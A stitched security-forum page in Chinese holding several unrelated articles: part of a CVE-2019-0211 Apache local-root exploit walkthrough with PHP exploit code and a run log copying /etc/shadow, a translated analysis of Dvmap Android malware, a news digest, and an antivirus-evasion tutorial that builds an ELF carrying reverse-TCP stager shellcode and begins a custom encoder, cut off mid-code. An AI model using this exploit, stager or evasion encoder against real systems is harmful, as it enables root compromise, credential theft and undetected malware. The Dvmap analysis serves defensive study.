break;
}
这是meth的结构，可以对照着看一看：
struct apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
const char *name;
};
### 2.4 计算索引buckets
再回忆一下漏洞利用的方法：在SHM中构造payload
（prefork_child_bucket结构），同时将剩余SHM区域喷射payload地址（并非payload起始地址），
控制指向喷射区域，所以`&all_buckets[bucket]`中的`meth`必然指向payload
，而payload中我们已将`child_init`函数的指针覆盖为我们想要执行函数的指针，就可以达到漏洞利用的目的。
要想控制`&all_buckets[bucket]`指向`prefork_child_bucket`结构，不能直接将该结构精确放在某个位置，然后直接计算两者间的偏移，因为`all_buckets`的地址在每优雅重启后会发生变化，所以漏洞被触发时`all_buckets`的地址将与我们找到的地址是不同的，这就是作者在EXP中进行堆喷的目的。
`all_buckets`是一个结构体数组，元素`prefork_child_bucket`结构由三个指针组成：
typedef struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex;
} prefork_child_bucket;
如果在SHM中大量喷射一个指向payload的地址，只要让`&all_buckets[bucket]`落在该区域内，payload就能得到执行，如下图中所示：
并且在EXP中，作者一共使用了两种方法来提高利用成功率：
1. 喷射SHM，也就是上面提到的方法
2. 修改每个worker的`process_score->bucket`结构，这样一来，利用成功率就可以再乘以Apache Worker的数量。这也是exp开始时调用`$workers_pids = get_workers_pids();`的原因。
先看第一种方法的实现：
SHM的起始部分是被apache的各个进程使用的，可以用SHM末尾的绝对地址`$spray_max`，减去未使用的内存空间大小`$spray_size`，得到要喷射区域的大小`$spray_size`；而未使用空间的大小可以通过减去已使用`worker_score`结构的总大小得到。
$size_prefork_child_bucket = 24;
$size_worker_score = 264;
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;
然后找喷射区域地址的中间值，计算它和`all_buckets`地址的偏移，再除以`prefork_child_bucket`结构的大小，就可以得到一个`all_buckets`数组下标索引，但别忘了SHM在`all_buckets`之前，所以这个索引还要取负值，这个值用`$bucket_index_middle`表示。
$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket );
这样做的目的在于，在每优雅重启后，即便`all_buckets`的地址有所变化，`&all_buckets[bucket]`指向的位置会在`$spray_middle`上下浮动，最大程度上保证了该指针落在喷射的内存范围内，如下图所示：
### 2.5 设置payload并喷射SHM
Payload由三个部分组成
1. bucket，用来存放要执行的命令，这是因为payload已经成了几个结构的叠加。
2. meth，它还是apr_proc_mutex_unix_lock_methods_t结构，只是它的`child_init`替换成了`zend_object_std_dtor`，其他指针置空。
3. properties，这是PHP内部结构`zend_object`的一个成员。
回忆漏洞的攻击链，最后的`child_init`被替换成函数`zend_object_std_dtor`执行，其原型如下，传入一个`zend_object`结构：
ZEND_API void zend_object_std_dtor(zend_object *object);
所以原本传给`child_init`的`&my_bucket->mutex`（prefork_child_bucket结构的一部分）就和`zend_object`相叠加了。
`zend_object_std_dtor`的执行又导致以下调用链：
...
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
//(*mutex)->meth->child_init()
(*mutex)->meth->zend_object_std_dtor(object) //[object = mutex]
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)
上面的代码`properties`是一个`zend_array`结构，如下所示，我们控制其中的`arData`，`pDestructor`，如果我们将上面`&ht->arData[0]->val`放入要执行的命令，`pDestructor()`覆盖为`system`的地址，就可以实现命令执行了。
struct _zend_array {
zend_refcounted_h gc;
//...
uint32_t nTableMask;
Bucket *arData;
uint32_t nNumUsed;
uint32_t nNumOfElements;
uint32_t nTableSize;
uint32_t nInternalPointer;
zend_long nNextFreeElement;
dtor_func_t pDestructor;
};
回到exp中，首先构造bucket部分，放入要执行的命令，没有参数时默认执行"chmod +s
/usr/bin/python3.5"，但是自定义的命令长度也不能超过152字节。
# Build payload
$payload_start = $spray_min - $size_worker_score;
$z = ptr2str(0);
# Payload maxsize 264 - 112 = 152
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.5";
if(strlen($bucket) > $size_worker_score - 112)
{
o(
'Payload size is bigger than available space (' .
($size_worker_score - 112) .
'), exiting.'
);
exit();
}
# Align
$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
然后是meth，将原本`child_init`的指针改为`zend_object_std_dtor`
# apr_proc_mutex_unix_lock_methods_t
$meth =
$z .
$z .
$z .
$z .
$z .
$z .
# child_init
ptr2str($addresses['zend_object_std_dtor'])
;
经过调试也可以看到`child_init`被覆盖：
然后是properties（zend_array和apr_proc_mutex_t结构的叠加），`u-nTableMask`的位置将用作`apr_proc_mutex_t`结构的`meth`，而`arData`指向payload中的bucket。
$properties =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;
将三个部分组合：
$payload =
$bucket .
$meth .
$properties
;
通过前面UAF控制的字符串`abc`写入SHM未使用部分的开头
o('Placing payload at address 0x' . dechex($payload_start));
$p = $payload_start - $address;
for(
$i = 0;
$i < strlen($payload);
$i++
)
{
$this->abc[$p+$i] = $payload[$i];
}
打印信息，将SHM剩下的部分喷射为properties的地址
$properties_address = $payload_start + strlen($bucket) + strlen($meth);
o('Spraying pointer');
o(' Address: 0x' . dechex($properties_address));
o(' From: 0x' . dechex($spray_min));
o(' To: 0x' . dechex($spray_max));
o(' Size: 0x' . dechex($spray_size));
o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
o(' Apache: 0x' . dechex(
$addresses['apache'][1] - $addresses['apache'][0]
));
$s_properties_address = ptr2str($properties_address);
for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
讲到这里可以再回头看看文章刚开始的图，应该就更容易理解了。
### 2.6 进一步提高成功率
前面还讲到，可以修改每个worker的`process_score->bucket`结构，这样一来，利用成功率就可以再乘以Apache
Worker的数量，因为2.4中计算出的bucket索引能落在了SHM之外，如果有多个worker，如下图所示，就能提高`&all_buckets[bucket]`落在SHM中的概率：
迭代查找每个`process_score`结构直到找到每个PID，再将找到的PID`$workers_pids`中的PID对比，匹配的就说明是正确的结构。
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24
)
{
$l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
将所有worker`process_score.bucket`都进行修改，而非修改其中一个：
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
到这里，整个漏洞利用过程就结束了，可以等到6:25AM查看利用是否利用成功，也可以手动执行`apachectl graceful`验证
if(count($workers_pids) > 0)
{
o(
'Unable to find PIDs ' .
implode(', ', $workers_pids) .
' in SHM, exiting.'
);
exit();
}
o('');
o('EXPLOIT SUCCESSFUL.');
o('Await 6:25AM.');
return 0;
➜ curl http://192.168.116.133/carpediem.php\?cmd\=cp+/etc/shadow+/tmp/
CARPE (DIEM) ~ CVE-2019-0211
PID: 887
Fetching addresses
zend_object_std_dtor: 0x7fc38f605700
system: 0x7fc3936bc480
libaprX: 0x7fc393c39000-0x0x7fc393c6b000
libaprR: 0x7fc393e6b000-0x0x7fc393e6c000
shm: 0x7fc394456000-0x0x7fc39446a000
apache: 0x7fc39446a000-0x0x7fc39452a000
Obtaining apache workers PIDs
Found apache worker: 887
Found apache worker: 888
Found apache worker: 889
Found apache worker: 890
Found apache worker: 891
Got 5 PIDs.
Triggering UAF
Creating room and filling empty spaces
Allocating $abc and $p
Unsetting both variables and setting $protector
Creating DateInterval object
UAF successful.
Address of $abc: 0x7fc38aaa34e8
Looking for all_buckets in memory
[&mutex]: 0x7fc3944cab70
[mutex]: 0x7fc3944cacc0
[meth]: 0x7fc393e6bca0
[*]: 0x7fc393c53ce0
[*]: 0x7fc393c541b0
[*]: 0x7fc393c53e90
[*]: 0x7fc393c54210
[*]: 0x7fc393c53bf0
[*]: 0x7fc393c53960
[*]: 0x7fc393c6228c
all_buckets = 0x7fc3944cab60
Computing potential bucket indexes and addresses
[bucket_index_middle]: -17858
Placing payload at address 0x7fc39445a148
Spraying pointer
Address: 0x7fc39445a218
From: 0x7fc39445a250
To: 0x7fc39446a000
Size: 0xfdb0
Covered: 0x4f470
Apache: 0xc0000
Iterating in SHM to find PIDs...
[spray_nb_bucket]: 2706
[total_nb_buckets]: 13530
[bucket_index]: -24623
Got PID: 887
PID matches
Changed bucket value to -24623
Ranges: 0x7fc3944ea6b8 - 0x7fc3944fa468
Got PID: 888
PID matches
Changed bucket value to -21917
Ranges: 0x7fc3944da908 - 0x7fc3944ea6b8
Got PID: 889
PID matches
Changed bucket value to -19211
Ranges: 0x7fc3944cab58 - 0x7fc3944da908
Got PID: 890
PID matches
Changed bucket value to -16505
Ranges: 0x7fc3944bada8 - 0x7fc3944cab58
Got PID: 891
PID matches
Changed bucket value to -13799
Ranges: 0x7fc3944aaff8 - 0x7fc3944bada8
EXPLOIT SUCCESSFUL.
Await 6:25AM.
## 三、参考
[1] [CVE-2019-0211 Apache Root Privilege
Escalation](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html)
[2]
[exploit](https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache)
[3] [PHP7内核剖析](https://www.kancloud.cn/nickbai/php7)
* * * | 社区文章 |
# 【技术分享】Dvmap：第一款使用代码注入的Android恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[nstlBlueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
2017年4月，我们开始调查通过Google Play应用商店发布的新的系统级恶意软件- **Dvmap** 。
Dvmap木马程序与其他系统级恶意软件不同，该木马软件不仅将其恶意软件模块安装到系统中，还 **将恶意代码注入到系统运行时库中**
。卡巴斯基实验室产品检测到了这款木马，并将其命名为 **Trojan.AndroidOS.Dvmap.a** 。
其实，通过Google Play应用商店发布系统级恶意软件不是一件什么新鲜事了。例如，自从2016年9月以来，Ztorg
Trojan这块恶意软件已经上传到Google
Play应用商店几乎多达100次。但是Dvmap是非常特别的系统级恶意软件。它使用各种新技术，其中最有趣的是它将恶意代码注入到系统库l
**ibdmv.s** **o** 或 **libandroid_runtime.so**
中。这使得Dvmap成为第一个在运行时将恶意代码注入系统库中的Android恶意软件，该恶意软件已从Google
Play商店下载超过50,000次。卡巴斯基实验室向Google报告了该恶意软件，现在该恶意软件已经从Google Play应用商店中删除。
为了绕过Google Play应用商店的安全检查，恶意软件创建者使用了一个非常有趣的方法：他们在2017年3月底之前将一个干净的应用程序上传到Google
Play应用商店， **然后会在短时间内更新软件，更新后的软件将包含具有恶意功能的模块** ，一般他们都会同一天在Google
Play应用商店上传一个干净的版本。调查发现他们在4月18日至5月15日期间至少进行了5次这样的操作。
一般情况下，所有的类似于Dvmap这样的恶意应用程序都具有相同的功能。他们都会从安装包的assets文件夹中解密多个归档文件，并从解密后的文件中执行以“start.”开头的可执行程序。
有趣的是，从下图可以看出Dvmap木马软件甚至支持64位版本的Android系统，这种情况是非常少见的。
所有加密的文件可以分为两组：第一组包括Game321.res，Game322.res，Game323.res和Game642.res，这些都是在感染的初期阶段使用的，而第二组则是Game324.res和Game644
.res，这些文件用于主要阶段的感染。
**初期阶段**
****
在初期阶段，特洛伊木马程序尝试在Android设备上获得root权限并安装一些功能模块。来自此阶段的所有档案都包含相同的文件，除了一个名为“common”的文件。这是一个本地系统漏洞利用工具包，木马程序中使用了4个不同的漏洞利用工具包文件，3个32位系统的和1个64位系统的。如果这些文件成功获得root权限，该木马程序将在系统中安装多个工具，它还将安装恶意应用程序“
**com.qualcmm.timeservices** ”。在这些档案文件中，我们发现了一个名为“.root.sh”的文件，这个文件中包含了一些中文注释。
**主要阶段**
在这个阶段，特洛伊木马从Game324.res或Game644.res启动以“star.”开头的文件。它将检查安装的Android系统的版本，通过Android系统的版本来并决定哪个库应该被“注入”恶意代码片段。对于Android
4.4.4及更高版本，该木马将修改 **libdvm.so** 中的 **_Z30dvmHeapSourceStartupBeforeForkv**
函数，对于Android 5或者更新版本，它将修改 **libandroid_runtime.so** 库中的
**nativeForkAndSpecialize** 函数。这两个库都是与Dalvik和ART运行时环境相关的运行时库。在“注入”之前，木马将以名称
**bak_ {original name}** 的方式备份原始库。
在代码“注入”期间，木马程序将使用恶意代码覆盖现有的代码，使得木马程序的所有模块可以执行系统模块 **/system/bin/ip**
。这种操作将是非常危险的，原因是模块代码被修改之后，设备上现有的需要使用该模块的应用程序将无法正常运行。成功“注入”代码之后，木马程序会将打过“补丁”的库放回系统目录中去。之后，木马将从文件（Game324.res或Game644.res）中使用恶意程序代替原始的
**/system/bin/ip**
。他们这样做的目的是：木马软件可以确保其恶意模块将以系统权限被执行。但由于恶意ip文件模块不包含原始ip文件中的任何方法，这意味着所有正在使用此文件的应用程序将无法再正常使用该模块，甚至会开始运行崩溃。
**恶意模块“ip”**
****
该文件将由被修改的系统库执行，它可以关闭“VerifyApps”，并可以通过更改系统设置去操作安装任何来自第三方应用市场的应用程序。此外，它还可以授予“
**com.qualcmm.timeservices**
”应用程序设备管理员权限，而无需与用户进行任何交互，只需运行命令即可，这种获取设备管理员权限是非常不正常的一种操作方式，在一定程度上这种操作应该引起安全研究人员的足够重视。
**恶意应用程序com.qualcmm.timeservices**
****
如前所述，在“初始阶段”中，木马将安装“ **com.qualcmm.timeservices**
”应用程序。其主要目的是下载恶意程序并从中执行以“start.”开头的二进制文件。在调查过程中，该应用程序能够成功连接到控制服务器，但由于没有截获到与命令传输相关的网络流量，所以我们不清楚要它将会执行什么样的命令，但可以确定的是它们是一些恶意的程序。
**结论**
****
Dvmap木马软件通过Google Play应用商店发布，并使用了一些非常危险的技术，包括修改系统库等操作。它将具有不同功能的恶意模块安装到系统中。
**它的主要目的是进入Android系统，下载一些二进制程序，并以root权限来执行这些二进制程序**
。但是，目前为止我们还没有从他们与控制服务器交互的过程中收到过这样的文件，这个也是我们需要进一步调查的工作。
这些恶意模块向攻击者报告他们将要做的每一步操作，所以我认为恶意软件作者仍然在测试这个恶意软件，因为他们使用了一些新兴的技术去感染Android终端设备，这些技术可能还不是很稳定。到目前为止，已经有很多的用户终端感染了他们的恶意软件。我们希望通过早起阶段发现和充分的研究这种恶意软件，以至于当攻击者准备好大规模发起网络攻击的时候，我们将能够有能力防止这种大规模和危险的攻击。 | 社区文章 |
# 12月25日安全热点 - 针对石油公司攻击/男子以网络攻击威胁公司
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
BleepingComputer的安全专家发现了CryptoMix勒索软件的新变种
<http://securityaffairs.co/wordpress/67103/malware/file-cryptomix-ransomware.html>
网络攻击开始针对沙特阿美石油公司安全系统
<http://nation.com.pk/25-Dec-2017/cyberattack-targets-safety-system-at-saudi-aramco>
男子看不惯公司某员工，用网络攻击威胁公司开除并雇佣他
<https://www.bleepingcomputer.com/news/security/man-threatened-company-with-cyber-attack-to-fire-employee-and-hire-him-instead/>
## 技术类
Fortinet年度威胁趋势回顾
<https://www.csoonline.com/article/3243062/security/2017-threat-trends-the-year-in-review.html>
命令与控制和Docker的结合
<https://blog.obscuritylabs.com/docker-command-controll-c2/>
通过FTP获取文件内容的XXE服务器
<https://github.com/sxcurity/230-OOB>
年度漏洞回顾最终篇：Chakra asm.js中的UAF漏洞
<https://www.zerodayinitiative.com/blog/2017/12/22/a-matching-pair-of-use-after-free-bugs-in-chakra-asmjs>
Webspert osCommerce多个漏洞
<https://cxsecurity.com/issue/WLB-2017120208>
Objective-See 2017恶意软件回顾
<https://objective-see.com/blog/blog_0x25.html>
CFFL_InteractiveFormFiller::OnBeforeKeyStroke UAF漏洞
<https://bugs.chromium.org/p/chromium/issues/detail?id=765384>
Docker-Hacklab
<https://github.com/ston3o/docker-hacklab>
SELinux初学指南
<http://linuxtechlab.com/beginners-guide-to-selinux/>
Windows基于栈的缓冲区溢出利用 Part 2
<https://nytrosecurity.com/2017/12/20/stack-based-buffer-overflows-on-x86-windows-part-ii/> | 社区文章 |
# 杀软的无奈-手工构建免杀的ELF文件（四）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上一节我们利用模拟执行工具 unicorn 分析了 metasploit 生成的 shellcode 的执行过程和编码器
`x86/shikata_ga_nai` 的解码逻辑， 并依据 metasploit 的源代码分析了 payload 的生成过程。
从生成过程中我们也可以发现编码器的静态特征比较明显，容易被反病毒软件静态识别。为了逃避过杀毒软件的静态查杀，本文主要讲解如何实现自己的编码器进行代码编码并且手工构建ELF文件，因为ruby语言实在的不熟悉，所以本文暂时不会基于metasploit开发，主要还是使用我比较顺手的语言
python 进行开发。
## 手工构建ELF文件
要想手工构建ELF文件，那必然是避免不了操作elf的文件结构。我一直以为python不能像c那样方便的把数据赋值给结构体进行解析，或者将结构体dump为具体的数据，但实则不然。
在一次读文档的时候我发现了 python 竟然可以类似于 C 的方式轻松的解析数据为结构体，dump 结构体的内容为数据。
具体的操作方式看如下的例子：
import ctypes as c
class Pointer(c.Structure):
_fields_ = [
("x",c.c_int),
("y",c.c_int),
("z",c.c_int)
]
# 将结构体dump字节数据
p = Pointer(x=1,y=2,z=3)
t = c.string_at(c.addressof(p),c.sizeof(p))
print( t )
# 将字节数据转化为结构体
bytes_p = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
new_p = Pointer()
c.memmove(c.addressof(new_p),bytes_p,c.sizeof(Pointer))
# print(t)
print("recover Point:",hex(new_p.x),hex(new_p.y),hex(new_p.z))
有了上面的方法，操作结构体就和c语言差别不大了，接下来写代码就非常方便了。
### 定义文件框架结构
由于我们是要用shellcode来构架elf文件，所以我们的代码肯定是地址无关的，所以只用构建ELF文件的执行视图即可，不需要构建链接视图。
所以接下来的代码比较简单，我就不再详细赘述了，直接贴上来吧：
#!/usr/bin/python3
# coding: utf-8
import ctypes as c
import keystone as k
import struct
# ARCH = "x86"
ARCH = "x86_64"
if ARCH == "x86":
ElfN_Addr = c.c_uint
ElfN_Off = c.c_uint
ElfN_Word = c.c_uint
ElfN_SWord = c.c_uint
ElfN_Half = c.c_ushort
EI_CLASS = 0x1
e_machine = 0x3
MEM_VADDR = 0x08048000
FILENAME = "test_x86.elf"
MODE = k.KS_MODE_32
else:
ElfN_Addr = c.c_ulonglong
ElfN_Off = c.c_ulonglong
ElfN_Word = c.c_uint
ElfN_SWord = c.c_int
ElfN_Half = c.c_ushort
EI_CLASS = 0x2
e_machine = 0x3E
MEM_VADDR = 0x400000
FILENAME = "test_x86_64.elf"
MODE = k.KS_MODE_64
# https://man7.org/linux/man-pages/man5/elf.5.html
class ElfN_Ehdr(c.Structure):
# 定义elf文件头
'''
typedef struct {
unsigned char e_ident[EI_NIDENT];
uint16_t e_type;
uint16_t e_machine;
uint32_t e_version;
ElfN_Addr e_entry;
ElfN_Off e_phoff;
ElfN_Off e_shoff;
uint32_t e_flags;
uint16_t e_ehsize;
uint16_t e_phentsize;
uint16_t e_phnum;
uint16_t e_shentsize;
uint16_t e_shnum;
uint16_t e_shstrndx;
} ElfN_Ehdr;
'''
EI_NIDENT = 16
_pack_ = 1
# print("[*] : {}".format(c.sizeof(ElfN_Addr)))
_fields_ = [
("e_ident",c.c_ubyte*EI_NIDENT),
("e_type",ElfN_Half),
("e_machine",ElfN_Half),
("e_version",ElfN_Word),
("e_entry",ElfN_Addr),
("e_phoff",ElfN_Off),
("e_shoff",ElfN_Off),
("e_flags",ElfN_Word),
("e_ehsize",ElfN_Half),
("e_phentsize",ElfN_Half),
("e_phnum",ElfN_Half),
("e_shentsize",ElfN_Half),
("e_shnum",ElfN_Half),
("e_shstrndx",ElfN_Half)
]
class Elf32_Phdr(c.Structure):
# 定义 programe header
'''
typedef struct {
uint32_t p_type;
Elf32_Off p_offset;
Elf32_Addr p_vaddr;
Elf32_Addr p_paddr;
uint32_t p_filesz;
uint32_t p_memsz;
uint32_t p_flags;
uint32_t p_align;
} Elf32_Phdr;
'''
_pack_ = 1
_fields_ = [
("p_type",ElfN_Word),
("p_offset",ElfN_Off),
("p_vaddr",ElfN_Addr),
("p_paddr",ElfN_Addr),
("p_filesz",ElfN_Word),
("p_memsz",ElfN_Word),
("p_flags",ElfN_Word),
("p_align",ElfN_Word)
]
class Elf64_Phdr(c.Structure):
'''
typedef struct {
uint32_t p_type;
uint32_t p_flags;
Elf64_Off p_offset;
Elf64_Addr p_vaddr;
Elf64_Addr p_paddr;
uint64_t p_filesz;
uint64_t p_memsz;
uint64_t p_align;
} Elf64_Phdr;
'''
_pack_ = 1
_fields_ = [
("p_type",c.c_uint),
("p_flags",c.c_uint),
("p_offset",ElfN_Off),
("p_vaddr",ElfN_Addr),
("p_paddr",ElfN_Addr),
("p_filesz",ElfN_Off),
("p_memsz",ElfN_Off),
("p_align",ElfN_Off)
]
if ARCH == "x86":
ElfN_Phdr = Elf32_Phdr
else:
ElfN_Phdr = Elf64_Phdr
def build_elf_header():
elf_header = ElfN_Ehdr()
elf_header.e_ident = (
0x7f,
ord("E"),
ord("L"),
ord("F"),
EI_CLASS,
0x1,
0x1
)
elf_header.e_type = 0x2
elf_header.e_machine = e_machine
elf_header.e_version = 0x1
elf_header.e_entry = 0x0 # 补充
elf_header.e_phoff = c.sizeof(ElfN_Ehdr)
elf_header.e_shoff = 0x0
elf_header.e_flags = 0x0
elf_header.e_ehsize = c.sizeof(ElfN_Ehdr)
elf_header.e_phentsize = c.sizeof( ElfN_Phdr )
elf_header.e_phnum = 0x1
elf_header.e_shentsize = 0x0
elf_header.e_shnum = 0x0
elf_header.e_shstrndx = 0x0
return elf_header
def build_elf_pheader():
global MEM_VADDR
elf_pheader = ElfN_Phdr()
elf_pheader.p_type = 0x1
elf_pheader.p_flags = 0x7
elf_pheader.p_offset = 0x0
elf_pheader.p_vaddr = MEM_VADDR
elf_pheader.p_paddr = MEM_VADDR
elf_pheader.p_filesz = 0 # 文件大小
elf_pheader.p_memsz = 0 # 加载到内存中的大小
elf_pheader.p_align = 0x1000
return elf_pheader
shellcode = [
0x90,0x90
]
if __name__ == "__main__":
elf_header = build_elf_header()
elf_pheader = build_elf_pheader()
elf_header.e_entry = elf_pheader.p_vaddr + c.sizeof( elf_header ) + c.sizeof( elf_pheader )
shellcode = "".join(
[
chr( i ) for i in shellcode
]
).encode("latin-1")
elf_pheader.p_filesz = c.sizeof( elf_header ) + c.sizeof( elf_pheader ) + len(shellcode)
elf_pheader.p_memsz = elf_pheader.p_filesz + 0x100
elf_header_bytes = c.string_at(c.addressof(elf_header),c.sizeof(elf_header))
elf_pheader_bytes = c.string_at(c.addressof(elf_pheader),c.sizeof(elf_pheader))
with open(FILENAME,"wb") as fd:
fd.write( elf_header_bytes + elf_pheader_bytes + shellcode )
### 插入shellcode
上述elf文件是可以执行，但是啥都没干。为了实现 meterpreter reverse_tcp
的功能，我们这里利用把metasploit中的shellcode代码copy过来，在这里进行汇编，写入elf文件中。
写如下代码：
import keystone as k
def generate_shellcode(retry_count = 10,host="192.168.7.34",port="4444"):
ks = k.Ks(k.KS_ARCH_X86,MODE)
encoded_host = hex(sum([256**j*int(i) for j,i in enumerate(host.split('.'))]))
encoded_port = hex( struct.unpack(">I",struct.pack("<HH",int(port),0x0200))[0] )
if ARCH == "x86":
shellcode = '''
push {retry_count}
pop esi ;
create_socket:
xor ebx, ebx ;
mul ebx ;
push ebx ;
inc ebx ;
push ebx ;
push 0x2 ;
mov al, 0x66 ;
mov ecx, esp ;
int 0x80
xchg eax, edi
set_address:
pop ebx
push {encoded_host}
push {encoded_port}
mov ecx, esp
try_connect:
push 0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int 0x80
test eax, eax
jns mprotect
handle_failure:
dec esi
jz failed
push 0xa2
pop eax
push 0x0
push 0x5
mov ebx, esp
xor ecx, ecx
int 0x80
test eax, eax
jns create_socket
jmp failed
mprotect:
mov dl, 0x7
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
mov al, 0x7d
int 0x80
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
mov edx, 0x6A
mov al, 0x3
int 0x80
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1
int 0x80
'''.format(
retry_count = retry_count,
encoded_host=encoded_host,
encoded_port = encoded_port
)
else:
shellcode = '''
mmap:
xor rdi, rdi
push 0x9
pop rax
cdq
mov dh, 0x10
mov rsi, rdx
xor r9, r9
push 0x22
pop r10
mov dl, 0x7
syscall
test rax, rax
js failed
push {retry_count}
pop r9
push rax
push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall
test rax, rax
js failed
xchg rdi, rax
connect:
mov rcx, {encoded_host}{encoded_port}
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall
pop rcx
test rax, rax
jns recv
handle_failure:
dec r9
jz failed
push rdi
push 0x23
pop rax
push 0x0
push 0x5
mov rdi, rsp
xor rsi, rsi
syscall
pop rcx
pop rcx
pop rdi
test rax, rax
jns connect
failed:
push 0x3c
pop rax
push 0x1
pop rdi
syscall
recv:
pop rsi
push 0x7E
pop rdx
syscall
test rax, rax
js failed
jmp rsi
'''.format(
retry_count = retry_count,
encoded_host=encoded_host,
encoded_port = encoded_port.replace("0x","")
)
# print(shellcode)
try:
encoding, count = ks.asm(shellcode)
return encoding
except k.KsError as e:
print("ERROR: %s" %e)
return []
主要是利用 keystone 这个汇编器对代码进行汇编，然后写入到elf文件中。
上述代码运行成功后，可以根据选择的架构生成 `64` 或者 `32` 位的elf文件，并且经过测试，功能都是正常的。
但是这样生成的二进制和利用 metasploit 直接生成的毫无差别，所以并不免杀。
接下来我们就尝试编写自己的编码器，使得可以完全构建出免杀的文件。
## 编写shellcode编码器
在上一篇文章中，主要写了编码器 `x86/shikata_ga_nai`
比较容易被识别的一些静态特征，本文也不做太多的深入研究，我们就简单的修改metasploit的encoder `x86/shikata_ga_nai`
的代码，试图去除这些比较明显的静态特征，看是否能够满足当前的免杀需求。
首先我们模仿一下编码器 `x86/shikata_ga_nai` 的代码结构，来生成一个用来解密 shellcode 的
decoder_sub,代码实现如下:
def generate_shikata_block(shellcode):
import random
if ARCH == "x86":
regs = [ "eax","ebx","ecx","edx","esi","edi" ]
stack_base = "ebp"
stack_head = "esp"
addr_size = 0x4
else:
regs = [ "rax","rbx","rcx","rdx","rsi","rdi" ]
stack_base = "rbp"
stack_head = "rsp"
addr_size = 0x8
fpus = []
fpus += [ bytes([0xd9,i]) for i in range(0xe8,0xee+1) ]
fpus += [ bytes([0xd9,i]) for i in range(0xc0,0xcf+1) ]
fpus += [ bytes([0xda,i]) for i in range(0xc0,0xdf+1) ]
fpus += [ bytes([0xdb,i ]) for i in range(0xc0,0xcf+1) ]
fpus += [ bytes([0xdd,i ]) for i in range(0xc0,0xcf+1) ]
# fpus += [ b"\xd9\xd0",b"\xd9\xe1",b"\xd9\xf6",b"\xd9\xf7",b"\xd9\xe5" ]
ks = k.Ks(k.KS_ARCH_X86,MODE)
code = []
# print( random.choice(fpus) )
def append_code(code,asm=None,bytes_code=None,compile=True):
'''
code = [
{
"index":"当前指令偏移",
"asm":"助记符",
"bytes_code":[12,34] # 编译后的整形
}
]
'''
if not len(code):
index = 0
else:
last = code[-1]
index = last["index"] + len(last["bytes_code"])
if not compile:
code.append({
"index":index,
"asm":asm,
"bytes_code":[i for i in bytes_code]
})
else:
try:
encoding, count = ks.asm(asm)
code.append({
"index":index,
"asm":asm,
"bytes_code":encoding
})
except k.KsError as e:
print("ERROR: %s" %e)
return []
return code
code = append_code(
code,
asm="mov {},{}".format( stack_base,stack_head )
)
# code += []
code = append_code(
code,
asm = "sub {},{}".format( stack_head, addr_size * 0x4 )
)
reg_caches = []
reg_caches.extend( ["rcx","ecx"] )
reg_1 = random.choice(reg_caches)
